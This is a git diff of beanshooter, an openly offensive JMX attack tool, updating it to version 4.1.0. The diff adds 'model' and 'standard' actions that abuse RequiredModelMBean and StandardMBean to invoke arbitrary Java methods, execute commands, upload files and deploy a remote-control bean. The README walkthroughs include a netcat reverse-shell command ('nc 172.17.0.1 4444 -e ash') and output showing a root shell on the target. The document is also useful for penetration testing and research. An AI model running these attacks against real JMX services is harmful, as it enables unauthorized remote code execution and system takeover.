diff --git a/CHANGELOG.md b/CHANGELOG.md index dc8a029..aa36b27 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,18 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [4.1.0] - Mar 20, 2023 + +### Added + +* Add [model](/#model) action (see CODE WHITE [blog post](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html)) +* Add [standard](/#standard) action (see CODE WHITE [blog post](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html)) + +### Changed + +* Improved exception handling + + ## [4.0.0] - Mar 07, 2023 ### Added diff --git a/Dockerfile b/Dockerfile index db449ab..3797fcb 100644 --- a/Dockerfile +++ b/Dockerfile @@ -15,7 +15,7 @@ FROM alpine:latest AS jdk-builder RUN set -ex \ && apk add --no-cache openjdk11 \ && /usr/lib/jvm/java-11-openjdk/bin/jlink \ - --add-modules java.desktop,java.management.rmi,jdk.naming.rmi,java.security.sasl,jdk.unsupported,jdk.httpserver \ + --add-modules java.desktop,java.management.rmi,jdk.naming.rmi,java.security.sasl,jdk.unsupported,jdk.httpserver,java.xml \ --verbose --strip-debug --compress 2 --no-header-files --no-man-pages --output /jdk ########################################### diff --git a/README.md b/README.md index 5137766..38d61a3 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,7 @@ ![](https://github.com/qtc-de/beanshooter/workflows/develop%20maven%20CI/badge.svg?branch=develop) ![](https://img.shields.io/badge/java-8%2b-blue) [![](https://img.shields.io/badge/build%20system-maven-blue)](https://maven.apache.org/) -[![](https://img.shields.io/badge/version-4.0.0-blue)](https://github.com/qtc-de/beanshooter/releases) +[![](https://img.shields.io/badge/version-4.1.0-blue)](https://github.com/qtc-de/beanshooter/releases) [![](https://img.shields.io/badge/license-GPL%20v3.0-blue)](https://github.com/qtc-de/beanshooter/blob/master/LICENSE) @@ -61,8 +61,10 @@ autocompletion. - [invoke](#invoke) - [jolokia](#jolokia) - [list](#list) + - [model](#model) - [serial](#serial) - [stager](#stager) + - [standard](#standard) - [undeploy](#undeploy) + [MBean Operations](#mbean-operations) - [generic](#generic-mbean-operations) @@ -449,6 +451,153 @@ The `list` action prints a list of all registered *MBeans* on the remote *JMX* s [...] ``` +#### Model + +The `model` action is one of the most powerful *beanshooter* operations and implements a technique +identified by [Markus Wulftange](https://twitter.com/mwulftange) that allows you to invoke arbitrary +*public* and *static* Java methods. Moreover, *public* object methods can also be invoked on a user +created object instance. The only requirements are that the utilized method arguments and the provided +object instance (for *non static* methods) are serializable. + +The following listing shows an example usage, where an `File` object is provided as object instance +and the `String[] list()` operation is invoked on it: + +```console +[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")' +[+] Deploying RequiredModelMBean supporting methods from java.io.File +[+] +[+] Deplyoing MBean: RequiredModelMBean +[+] MBean with object name de.qtc.beanshooter:version=1 was successfully deployed. +[+] +[+] Available Methods: +[+] - java.lang.String toString() +[+] - int hashCode() +[+] - [Ljava.lang.String; list() +[...] +[+] - void setManagedResource(java.lang.Object, java.lang.String) +[+] +[+] Setting managed resource to: new java.io.File("/") +[+] Managed resource was set successfully. +[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()' +root +var +opt +srv +bin +mnt +dev +proc +etc +usr +lib +tmp +home +run +media +sbin +sys +.dockerenv +``` + +The `setManagedResource` method is always available and can be used to change the object instance to operate on: + +```console +[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'setManagedResource(Object a, String b)' 'new java.io.File("/etc")' objectReference +[+] Call was successful. +[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()' +passwd +shells +opt +modules +mtab +issue +inittab +hosts +... +``` + +When invoking *static* methods, an object instance is also required. However, the actual class of the object instance does +not matter. E.g. if you want to invoke `getProperties()` from `java.lang.System`, you could also use a simple `String` +as object instance. Only the specified class name matters in this case: + +```console +[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.lang.System '"does not matter"' +[+] Deploying RequiredModelMBean supporting methods from java.lang.System +[+] +[+] Deplyoing MBean: RequiredModelMBean +[+] MBean with object name de.qtc.beanshooter:version=1 was successfully deployed. +[+] +[+] Available Methods: +[+] - void runFinalization() +[+] - java.lang.String setProperty(java.lang.String, java.lang.String) +[+] - java.lang.String getProperty(java.lang.String) +[+] - java.lang.String getProperty(java.lang.String, java.lang.String) +[+] - long currentTimeMillis() +[+] - long nanoTime() +[+] - java.lang.SecurityManager getSecurityManager() +[+] - void loadLibrary(java.lang.String) +[+] - java.lang.String mapLibraryName(java.lang.String) +[+] - void load(java.lang.String) +[+] - java.lang.String lineSeparator() +[+] - java.io.Console console() +[+] - java.nio.channels.Channel inheritedChannel() +[+] - java.util.Properties getProperties() +[+] - void setProperties(java.util.Properties) +[+] - java.lang.String clearProperty(java.lang.String) +[+] - java.util.Map getenv() +[+] - java.lang.String getenv(java.lang.String) +[+] - void gc() +[+] - void wait() +[+] - java.lang.String toString() +[+] - int hashCode() +[+] - java.lang.Class getClass() +[+] - void notify() +[+] - void notifyAll() +[+] - void setManagedResource(java.lang.Object, java.lang.String) +[+] +[+] Setting managed resource to: "does not matter" +[+] Managed resource was set successfully. +[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'getProperties()' +java.vm.info + --> mixed mode +java.runtime.version + --> 11.0.18+10-alpine-r0 +sun.io.unicode.encoding + --> UnicodeLittle +... +``` + +The `model` action uses reflection to determine available methods on the specified class. If you do not +have the class locally available, you can still use it by specifying available methods via the `--signature` +or `--signature-file` options. That being said, in order to get access to non default classes you need to +provide an object instance that is also not a default class (not present in `rt.jar`). This is required, as +the target class needs to be loaded by the same *ClassLoader* as the provided object instance. For *beanshooters* +*example-server*, `javax.management.remote.message.VersionMessage` is suitable, as this class is present +in `opendmk_jmxremote_optional_jar` which is present in the client as well as in the server. We can use +this as an object instance to invoke methods on other custom classes, like `de.qtc.beanshooter.server.utils.Logger`: + +```console +[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=0 de.qtc.beanshooter.server.utils.Logger 'new javax.management.remote.message.VersionMessage("test")' --signature 'String getIndent()' +[+] Deploying RequiredModelMBean supporting user specified methods +[+] +[+] Deplyoing MBean: RequiredModelMBean +[+] MBean with object name de.qtc.beanshooter:version=0 was successfully deployed. +[+] +[+] Available Methods: +[+] - String getIndent() +[+] - void setManagedResource(java.lang.Object, java.lang.String) +[+] +[+] Setting managed resource to: new javax.management.remote.message.VersionMessage("test") +[+] Managed resource was set successfully. +[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=0 --signature 'String getIndent()' +EMPTY OUTPUT - Just an Indent ;) +``` + +If you want to know more about the technique that is implemented by the `model` action, I highly +recommend this [blog post](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html) +by [CODE WHITE](https://twitter.com/codewhitesec) which explains it in great detail. + + #### Serial The `serial` action can be used to perform deserialization attacks on a *JMX* endpoint. By default, the action @@ -520,6 +669,113 @@ the `--class-name`, `--object-name` and `--jar-file` options are required. [+] Sending jar file with md5sum: 6568ffb2934cb978dbd141848b8b128a ``` +#### Standard + +The `standard` action deploys a *StandardMBean* that implements the `TemplateImpl` class to achieve +different targets. This technique was identified by [Markus Wulftange](https://twitter.com/mwulftange) +and *beanshooter* implements it to allow command execution, file upload and *TonkaBean* deployment. + +```console +[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash' +[+] Creating a TemplateImpl payload object to abuse StandardMBean +[+] +[+] Deplyoing MBean: StandardMBean +[+] MBean with object name de.qtc.beanshooter:standard=3873612041699 was successfully deployed. +[+] +[+] Caught NullPointerException while invoking the newTransformer action. +[+] This is expected bahavior and the attack most likely worked :) +[+] +[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=3873612041699 from the MBeanServer. +[+] MBean was successfully removed. +... +[qtc@devbox ~]$ nc -vlp 4444 +Ncat: Version 7.93 ( https://nmap.org/ncat ) +Ncat: Listening on :::4444 +Ncat: Listening on 0.0.0.0:4444 +Ncat: Connection from 172.17.0.2. +Ncat: Connection from 172.17.0.2:40033. +id +uid=0(root) gid=0(root) groups=0(root) +``` + +Command execution via the `standard` action is blind and you do not receive the output of your command. +Moreover, by default your command is passed to `Runtime.exec(String str)`, which does not support special +shell features. If you want to use shell features, use the `--exec-array` option and specify your command +like this: `'sh -c echo "my cool command" > /tmp/test.txt'`. With `--exec-array`, *beanshooter* splits the +specified command in three parts and passes them to `Runtime.exec(String[] arr)`. However, it is generally +recommended to use the *TonkaBean* deployment for executing commands: + +```console +[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 tonka +[+] Creating a TemplateImpl payload object to abuse StandardMBean +[+] +[+] Deplyoing MBean: StandardMBean +[+] MBean with object name de.qtc.beanshooter:standard=4121868972140 was successfully deployed. +[+] +[+] Caught NullPointerException while invoking the newTransformer action. +[+] This is expected bahavior and the attack most likely worked :) +[+] +[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4121868972140 from the MBeanServer. +[+] MBean was successfully removed. +[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010 +[root@172.17.0.2 /]$ id +uid=0(root) gid=0(root) groups=0(root) +``` + +The huge advantage compared to the regular `tonka deploy` action is that deployment via the *StandardMBean* +does not require an outbound network connection. If a direct deployment via `standard ... tonka` does not work, +you may be able to upload the *TonkaBean* Jar file and load it via *MLet* and the `file://` protocol: + +```console +[qtc@devbox ~]$ beanshooter tonka export --stager-url file:///tmp/ +[+] Exporting MBean jar file: ./tonka-bean-4.0.0-jar-with-dependencies.jar +[+] Exporting MLet HTML file to: ./index.html +[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean +[+] Archive: tonka-bean-4.0.0-jar-with-dependencies.jar +[+] Object: MLetTonkaBean:name=TonkaBean,id=1 +[+] Codebase: file:/tmp/ +[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload tonka-bean-4.0.0-jar-with-dependencies.jar::/tmp/tonka-bean-4.0.0-jar-with-dependencies.jar +[+] Creating a TemplateImpl payload object to abuse StandardMBean +[+] +[+] Deplyoing MBean: StandardMBean +[+] MBean with object name de.qtc.beanshooter:standard=4825542879735 was successfully deployed. +[+] +[+] Caught NullPointerException while invoking the newTransformer action. +[+] This is expected bahavior and the attack most likely worked :) +[+] +[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4825542879735 from the MBeanServer. +[+] MBean was successfully removed. +[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload index.html::/tmp/index.html +[+] Creating a TemplateImpl payload object to abuse StandardMBean +[+] +[+] Deplyoing MBean: StandardMBean +[+] MBean with object name de.qtc.beanshooter:standard=4836961801045 was successfully deployed. +[+] +[+] Caught NullPointerException while invoking the newTransformer action. +[+] This is expected bahavior and the attack most likely worked :) +[+] +[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4836961801045 from the MBeanServer. +[+] MBean was successfully removed. +[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url file:///tmp/index.html +[+] Starting MBean deployment. +[+] +[+] Deplyoing MBean: TonkaBean +[+] +[+] MBean class is not known by the server. +[+] Starting MBean deployment. +[+] +[+] Deplyoing MBean: MLet +[+] MBean with object name DefaultDomain:type=MLet was successfully deployed. +[+] +[+] Loading MBean from file:///tmp/index.html +[+] +[+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed. +``` + +If you want to know more about the technique that is implemented by the `standard` action, I highly +recommend this [blog post](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html) +by [CODE WHITE](https://twitter.com/codewhitesec) which explains it in great detail. + #### Undeploy The `undeploy` action removes the *MBean* with the specified `ObjectName` from the *JMX* service: @@ -617,6 +873,9 @@ a builtin jar file is available): [+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed ``` +From *beanshooter v4.1.0* on, it is also possible to deploy the *TonkaBean* via the [standard](#standard) action. +Bean deployment via the `standard` action **does not** require outbound network connections from the target server. + #### Generic Export Sometimes it is not possible to serve an *MBean* implementation using *beanshooters* stager server. A common @@ -1274,8 +1533,8 @@ For each release, there is a *normal* and a *slim* version available. Both provi *beanshooter*, but only the *normal* version ships with [ysoserial](https://github.com/frohoff/ysoserial) included, resulting in a larger image size: -* `docker pull ghcr.io/qtc-de/beanshooter/beanshooter:3.1.1` - `121MB` -* `docker pull ghcr.io/qtc-de/beanshooter/beanshooter:3.1.1-slim` - `61.9MB` +* `docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0` - `124MB` +* `docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0-slim` - `64.8MB` You can also build the container on your own by running the following commands: diff --git a/beanshooter/pom.xml b/beanshooter/pom.xml index 2174c77..bbd8d66 100644 --- a/beanshooter/pom.xml +++ b/beanshooter/pom.xml @@ -4,7 +4,7 @@ de.qtc.beanshooter reactor - 4.0.0 + 4.1.0 beanshooter @@ -98,12 +98,16 @@ + java.base/java.lang + java.base/java.util java.base/java.lang.reflect java.base/jdk.internal.misc java.rmi/java.rmi.server java.rmi/sun.rmi.server java.rmi/sun.rmi.transport java.rmi/sun.rmi.transport.tcp + java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime + java.xml/com.sun.org.apache.xalan.internal.xsltc.trax diff --git a/beanshooter/src/de/qtc/beanshooter/cli/ArgumentHandler.java b/beanshooter/src/de/qtc/beanshooter/cli/ArgumentHandler.java index 22d7457..092ff5f 100644 --- a/beanshooter/src/de/qtc/beanshooter/cli/ArgumentHandler.java +++ b/beanshooter/src/de/qtc/beanshooter/cli/ArgumentHandler.java @@ -234,8 +234,8 @@ public static Object requireOneOf(Option... options) { StringBuilder helpString = new StringBuilder(); - for( Option option : options ) { - + for (Option option : options) + { if( option.notNull() ) return option.getValue(); @@ -243,9 +243,9 @@ public static Object requireOneOf(Option... options) helpString.append(", "); } - helpString.setLength(helpString.length() - 2); + helpString.setLength(helpString.length() - 2); - Logger.resetIndent(); + Logger.resetIndent(); Logger.eprintlnMixedYellow("Error: The specified aciton requires one of the", helpString.toString(), "options."); Utils.exit(); diff --git a/beanshooter/src/de/qtc/beanshooter/cli/OptionHandler.java b/beanshooter/src/de/qtc/beanshooter/cli/OptionHandler.java index 73fb2ce..1cf07d5 100644 --- a/beanshooter/src/de/qtc/beanshooter/cli/OptionHandler.java +++ b/beanshooter/src/de/qtc/beanshooter/cli/OptionHandler.java @@ -5,7 +5,6 @@ import java.util.List; import java.util.Properties; -import de.qtc.beanshooter.exceptions.ExceptionHandler; import de.qtc.beanshooter.io.Logger; import de.qtc.beanshooter.mbean.MBean; import de.qtc.beanshooter.mbean.mlet.MLetOption; @@ -54,24 +53,27 @@ public static void prepareOptions(Namespace args, Properties config) Object defaultValue = config.getProperty(option.name().toLowerCase()); - try { - - if( defaultValue != null && !((String) defaultValue).isEmpty() ) { - - if( option.getArgType() == ArgType.INT ) + try + { + if (defaultValue != null && !((String) defaultValue).isEmpty()) + { + if (option.getArgType() == ArgType.INT) defaultValue = Integer.valueOf((String) defaultValue); - else if( option.getArgType() == ArgType.BOOL ) + else if(option.getArgType() == ArgType.BOOL) defaultValue = Boolean.valueOf((String) defaultValue); + } - } else if( defaultValue != null && ((String) defaultValue).isEmpty() ) { + else if(defaultValue != null && ((String) defaultValue).isEmpty()) + { defaultValue = null; } + } - } catch( Exception e ) { + catch (Exception e) + { Logger.eprintlnMixedYellow("RMGOption", option.getName(), "obtained an invalid argument."); - ExceptionHandler.stackTrace(e); - Utils.exit(); + Utils.exit(e); } option.setValue(args, defaultValue); @@ -138,6 +140,12 @@ public static void addModifiers(Option option, Argument arg) if (option == TonkaBeanOption.EXEC_ARRAY) arg.nargs("+"); + if (option == BeanshooterOption.STANDARD_OPERATION_ARGS) + { + arg.nargs("?"); + arg.setDefault(""); + } + if (option == TonkaBeanOption.DOWNLOAD_DEST) arg.nargs("?"); @@ -147,6 +155,9 @@ public static void addModifiers(Option option, Argument arg) if (option == BeanshooterOption.ATTR_VALUE) arg.nargs("?"); + if (option == BeanshooterOption.MODEL_RESOURCE) + arg.nargs("?"); + if (option == BeanshooterOption.OBJ_NAME) arg.nargs("?"); @@ -162,5 +173,10 @@ public static void addModifiers(Option option, Argument arg) mBeanNames.add("custom"); arg.choices(mBeanNames); } + + if (option == BeanshooterOption.STANDARD_OPERATION) + { + arg.choices(new String[] { "exec", "upload", "tonka" }); + } } } diff --git a/beanshooter/src/de/qtc/beanshooter/exceptions/ExceptionHandler.java b/beanshooter/src/de/qtc/beanshooter/exceptions/ExceptionHandler.java index cbde7a1..074f4ec 100644 --- a/beanshooter/src/de/qtc/beanshooter/exceptions/ExceptionHandler.java +++ b/beanshooter/src/de/qtc/beanshooter/exceptions/ExceptionHandler.java @@ -65,7 +65,7 @@ public static void internalError(String functionName, String message) public static void internalException(Exception e, String functionName, boolean exit) { Logger.eprintMixedYellow("Internal error. Caught unexpected", e.getClass().getName(), "within the "); - Logger.printlnPlainMixedBlue(functionName, "function."); + Logger.eprintlnPlainMixedBlue(functionName, "function."); stackTrace(e); if(exit) diff --git a/beanshooter/src/de/qtc/beanshooter/io/WordlistHandler.java b/beanshooter/src/de/qtc/beanshooter/io/WordlistHandler.java index af76876..ac54926 100644 --- a/beanshooter/src/de/qtc/beanshooter/io/WordlistHandler.java +++ b/beanshooter/src/de/qtc/beanshooter/io/WordlistHandler.java @@ -35,31 +35,31 @@ public static Map> getCredentialMap() String[] usernames = null; String[] passwords = null; - if(BeanshooterOption.BRUTE_USER.notNull()) + if (BeanshooterOption.BRUTE_USER.notNull()) usernames = new String[] { BeanshooterOption.BRUTE_USER.getValue() }; - else if(BeanshooterOption.BRUTE_USER_FILE.notNull()) + else if (BeanshooterOption.BRUTE_USER_FILE.notNull()) usernames = readWordlist(BeanshooterOption.BRUTE_USER_FILE.getValue(), "user"); - if(BeanshooterOption.BRUTE_PASSWORD.notNull()) + if (BeanshooterOption.BRUTE_PASSWORD.notNull()) passwords = new String[] { BeanshooterOption.BRUTE_PASSWORD.getValue() }; - else if(BeanshooterOption.BRUTE_PW_FILE.notNull()) + else if (BeanshooterOption.BRUTE_PW_FILE.notNull()) passwords = readWordlist(BeanshooterOption.BRUTE_PW_FILE.getValue(), "password"); - if(usernames == null && passwords != null) + if (usernames == null && passwords != null) { Logger.eprintlnMixedYellowFirst("No username(s)", "specified for the brute action."); Utils.exit(); } - else if(usernames != null && passwords == null) + else if (usernames != null && passwords == null) { Logger.eprintlnMixedYellowFirst("No password(s)", "specified for the brute action."); Utils.exit(); } - else if( usernames != null && passwords != null) + else if (usernames != null && passwords != null) return makeMap(usernames, passwords); return readCredpairList(); diff --git a/beanshooter/src/de/qtc/beanshooter/mbean/MBean.java b/beanshooter/src/de/qtc/beanshooter/mbean/MBean.java index 5129f9c..1dcff29 100644 --- a/beanshooter/src/de/qtc/beanshooter/mbean/MBean.java +++ b/beanshooter/src/de/qtc/beanshooter/mbean/MBean.java @@ -106,7 +106,7 @@ public enum MBean implements IMBean { "de.qtc.beanshooter.tonkabean.TonkaBean", }, - "tonka-bean-4.0.0-jar-with-dependencies.jar", + "tonka-bean-4.1.0-jar-with-dependencies.jar", TonkaBeanOperation.values(), TonkaBeanOption.values() ); diff --git a/beanshooter/src/de/qtc/beanshooter/mbean/MBeanInvocationHandler.java b/beanshooter/src/de/qtc/beanshooter/mbean/MBeanInvocationHandler.java index 3653c47..79784aa 100644 --- a/beanshooter/src/de/qtc/beanshooter/mbean/MBeanInvocationHandler.java +++ b/beanshooter/src/de/qtc/beanshooter/mbean/MBeanInvocationHandler.java @@ -131,12 +131,15 @@ public Object invoke(Object proxy, Method method, Object[] args) throws Throwabl } } - catch (ClassNotFoundException | ClassCastException | NoSuchMethodException | SecurityException e2){} + catch (ClassNotFoundException | ClassCastException | NoSuchMethodException | SecurityException e2) + { + // If we cannot create a forwarding exception, we fall through to the generic exception message + } Logger.eprintlnMixedYellow("Caught", "J4pRemoteException", "during MBean method invocation."); Logger.eprintlnMixedBlue("Jolokia reported:", message); - Utils.exit(); + Utils.exit(e); } else diff --git a/beanshooter/src/de/qtc/beanshooter/mbean/mlet/Dispatcher.java b/beanshooter/src/de/qtc/beanshooter/mbean/mlet/Dispatcher.java index ec2e7ab..35bb8a5 100644 --- a/beanshooter/src/de/qtc/beanshooter/mbean/mlet/Dispatcher.java +++ b/beanshooter/src/de/qtc/beanshooter/mbean/mlet/Dispatcher.java @@ -174,6 +174,9 @@ else if (t instanceof java.net.ConnectException) if (t.getMessage().contains("Connection refused")) Logger.eprintlnMixedBlue("Target", urlString, "refused the connection."); + else if (t.getMessage().contains("Operation timed out")) + Logger.eprintlnMixedBlue("Outbound connections seem to be", "blocked", "by the target."); + else ExceptionHandler.unknownReason(e); } @@ -221,8 +224,7 @@ else if (t instanceof IOException) ExceptionHandler.unknownReason(e); } - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } catch (ReflectionException | NotCompliantMBeanException e) @@ -232,8 +234,7 @@ else if (t instanceof IOException) Logger.eprintlnMixedYellow("Caught", e.getClass().getName(), "while loading MBean."); Logger.eprintlnMixedBlue("This usually means that the supplied MBean class", "was not", "valid."); - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } catch (Exception e) diff --git a/beanshooter/src/de/qtc/beanshooter/networking/RMIRegistryEndpoint.java b/beanshooter/src/de/qtc/beanshooter/networking/RMIRegistryEndpoint.java index a67f62b..262e747 100644 --- a/beanshooter/src/de/qtc/beanshooter/networking/RMIRegistryEndpoint.java +++ b/beanshooter/src/de/qtc/beanshooter/networking/RMIRegistryEndpoint.java @@ -51,13 +51,15 @@ public RMIRegistryEndpoint(String host, int port) this.remoteObjectCache = new HashMap(); SocketFactorySetup(host, port); - try { + try + { this.rmiRegistry = LocateRegistry.getRegistry(host, port, csf); + } - } catch( RemoteException e ) { + catch (RemoteException e) + { ExceptionHandler.internalError("RMIRegistryEndpoint.locateRegistry", "Caught unexpected RemoteException."); - ExceptionHandler.stackTrace(e); - Utils.exit(); + Utils.exit(e); } } @@ -98,29 +100,40 @@ private synchronized static void SocketFactorySetup(String host, int port) */ public String[] getBoundNames() { - if( BeanshooterOption.TARGET_BOUND_NAME.notNull() ) + if (BeanshooterOption.TARGET_BOUND_NAME.notNull()) return new String[] { BeanshooterOption.TARGET_BOUND_NAME.getValue() }; String[] boundNames = null; - try { + try + { boundNames = rmiRegistry.list(); + } - } catch( java.rmi.ConnectIOException e ) { + catch (java.rmi.ConnectIOException e) + { ExceptionHandler.connectIOException(e, "list"); + } - } catch( java.rmi.ConnectException e ) { + catch (java.rmi.ConnectException e ) + { ExceptionHandler.connectException(e, "list"); + } - } catch( java.rmi.UnknownHostException e ) { + catch (java.rmi.UnknownHostException e) + { ExceptionHandler.unknownHost(e, host, true); + } - } catch( java.rmi.NoSuchObjectException e ) { + catch (java.rmi.NoSuchObjectException e) + { Logger.printlnMixedYellow("Caught", "NoSuchObjectException", "during list operation."); Logger.printlnMixedBlue("The specified endpoint", "is not", "an RMI registry."); - Utils.exit(); + Utils.exit(e); + } - } catch( Exception e ) { + catch (Exception e) + { ExceptionHandler.unexpectedException(e, "list", "call", true); } diff --git a/beanshooter/src/de/qtc/beanshooter/networking/StagerServer.java b/beanshooter/src/de/qtc/beanshooter/networking/StagerServer.java index 3f5dbfa..8ac1c5b 100644 --- a/beanshooter/src/de/qtc/beanshooter/networking/StagerServer.java +++ b/beanshooter/src/de/qtc/beanshooter/networking/StagerServer.java @@ -78,7 +78,7 @@ public void start(URL url, String jarFile, String beanClass, String objectName) server.setExecutor(null); - Logger.printlnYellow("Starting HTTP server."); + Logger.printlnYellow("Waiting for incoming connections..."); Logger.println(""); server.start(); @@ -110,9 +110,7 @@ else if (t instanceof java.net.SocketException && t.getMessage().contains("Permi ExceptionHandler.unknownReason(e); } - ExceptionHandler.showStackTrace(e); - Utils.exit(); - + Utils.exit(e); } catch( java.lang.IllegalArgumentException e ) @@ -124,8 +122,7 @@ else if (t instanceof java.net.SocketException && t.getMessage().contains("Permi Logger.eprintlnMixedYellow("Caught", "IllegalArgumentException", "while creating the stager server."); Logger.eprintlnMixedBlue("The specified port", String.valueOf(port), "is out of range."); Logger.eprintlnMixedYellow("Specify a port within the range", String.format("0-%s", Short.MAX_VALUE * 2 + 1)); - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } else diff --git a/beanshooter/src/de/qtc/beanshooter/networking/TrustAllSocketFactory.java b/beanshooter/src/de/qtc/beanshooter/networking/TrustAllSocketFactory.java index 2e2d504..3036725 100644 --- a/beanshooter/src/de/qtc/beanshooter/networking/TrustAllSocketFactory.java +++ b/beanshooter/src/de/qtc/beanshooter/networking/TrustAllSocketFactory.java @@ -12,7 +12,6 @@ import javax.net.ssl.SSLSocketFactory; import javax.net.ssl.TrustManager; -import de.qtc.beanshooter.exceptions.ExceptionHandler; import de.qtc.beanshooter.io.Logger; import de.qtc.beanshooter.utils.Utils; @@ -53,16 +52,18 @@ public TrustAllSocketFactory(int readTimeout, int connectTimeout) this.readTimeout = readTimeout; this.connectTimeout = connectTimeout; - try { + try + { SSLContext ctx = SSLContext.getInstance("TLS"); ctx.init(null, new TrustManager[] { new DummyTrustManager() }, null); fax = ctx.getSocketFactory(); + } - } catch (NoSuchAlgorithmException | KeyManagementException e) { + catch (NoSuchAlgorithmException | KeyManagementException e) + { Logger.eprintlnMixedBlue("Unable to create", "TrustAllSocketFactory", "for SSL connections."); - ExceptionHandler.showStackTrace(e); - Utils.exit(); + Utils.exit(e); } } diff --git a/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java b/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java index e2a9d9a..17c528d 100644 --- a/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java +++ b/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java @@ -234,6 +234,62 @@ public enum BeanshooterOperation implements Operation { BeanshooterOption.LIST_FILTER_OBJ, }), + MODEL("model", "creates a RequiredModelMBean on the server", new Option[] { + BeanshooterOption.GLOBAL_CONFIG, + BeanshooterOption.GLOBAL_VERBOSE, + BeanshooterOption.GLOBAL_PLUGIN, + BeanshooterOption.GLOBAL_NO_COLOR, + BeanshooterOption.GLOBAL_STACK_TRACE, + BeanshooterOption.TARGET_HOST, + BeanshooterOption.TARGET_PORT, + BeanshooterOption.TARGET_BOUND_NAME, + BeanshooterOption.TARGET_OBJID_SERVER, + BeanshooterOption.TARGET_OBJID_CONNECTION, + BeanshooterOption.CONN_FOLLOW, + BeanshooterOption.CONN_SSL, + BeanshooterOption.CONN_JMXMP, + BeanshooterOption.CONN_JOLOKIA, + BeanshooterOption.CONN_JOLOKIA_ENDPOINT, + BeanshooterOption.CONN_JOLOKIA_PROXY, + BeanshooterOption.CONN_JOLOKIA_PROXY_USER, + BeanshooterOption.CONN_JOLOKIA_PROXY_PASS, + BeanshooterOption.CONN_USER, + BeanshooterOption.CONN_PASS, + BeanshooterOption.CONN_SASL, + BeanshooterOption.MODEL_OBJ_NAME, + BeanshooterOption.MODEL_CLASS_NAME, + BeanshooterOption.MODEL_RESOURCE, + BeanshooterOption.MODEL_ALL_METHODS, + BeanshooterOption.MODEL_SIGNATURE, + BeanshooterOption.MODEL_SIGNATURE_FILE + }), + + STANDARD("standard", "creates a StandardMBean on the server", new Option[] { + BeanshooterOption.GLOBAL_CONFIG, + BeanshooterOption.GLOBAL_VERBOSE, + BeanshooterOption.GLOBAL_PLUGIN, + BeanshooterOption.GLOBAL_NO_COLOR, + BeanshooterOption.GLOBAL_STACK_TRACE, + BeanshooterOption.TARGET_HOST, + BeanshooterOption.TARGET_PORT, + BeanshooterOption.TARGET_BOUND_NAME, + BeanshooterOption.TARGET_OBJID_SERVER, + BeanshooterOption.TARGET_OBJID_CONNECTION, + BeanshooterOption.CONN_FOLLOW, + BeanshooterOption.CONN_SSL, + BeanshooterOption.CONN_JMXMP, + BeanshooterOption.CONN_JOLOKIA, + BeanshooterOption.CONN_JOLOKIA_ENDPOINT, + BeanshooterOption.CONN_JOLOKIA_PROXY, + BeanshooterOption.CONN_JOLOKIA_PROXY_USER, + BeanshooterOption.CONN_JOLOKIA_PROXY_PASS, + BeanshooterOption.CONN_USER, + BeanshooterOption.CONN_PASS, + BeanshooterOption.CONN_SASL, + BeanshooterOption.STANDARD_OPERATION, + BeanshooterOption.STANDARD_OPERATION_ARGS, + BeanshooterOption.STANDARD_EXEC_ARRAY, + }), SERIAL("serial", "perform a deserialization attack", new Option[] { BeanshooterOption.GLOBAL_CONFIG, diff --git a/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java b/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java index 1e190ec..5401b70 100644 --- a/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java +++ b/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java @@ -439,6 +439,69 @@ public enum BeanshooterOption implements Option { ArgType.STRING ), + MODEL_OBJ_NAME("object-name", + "ObjectName for the newly deployed RequiredModelMBean", + Arguments.store(), + OptionGroup.ACTION, + ArgType.STRING + ), + + MODEL_CLASS_NAME("class-name", + "Class that should be made accessible via the deployed 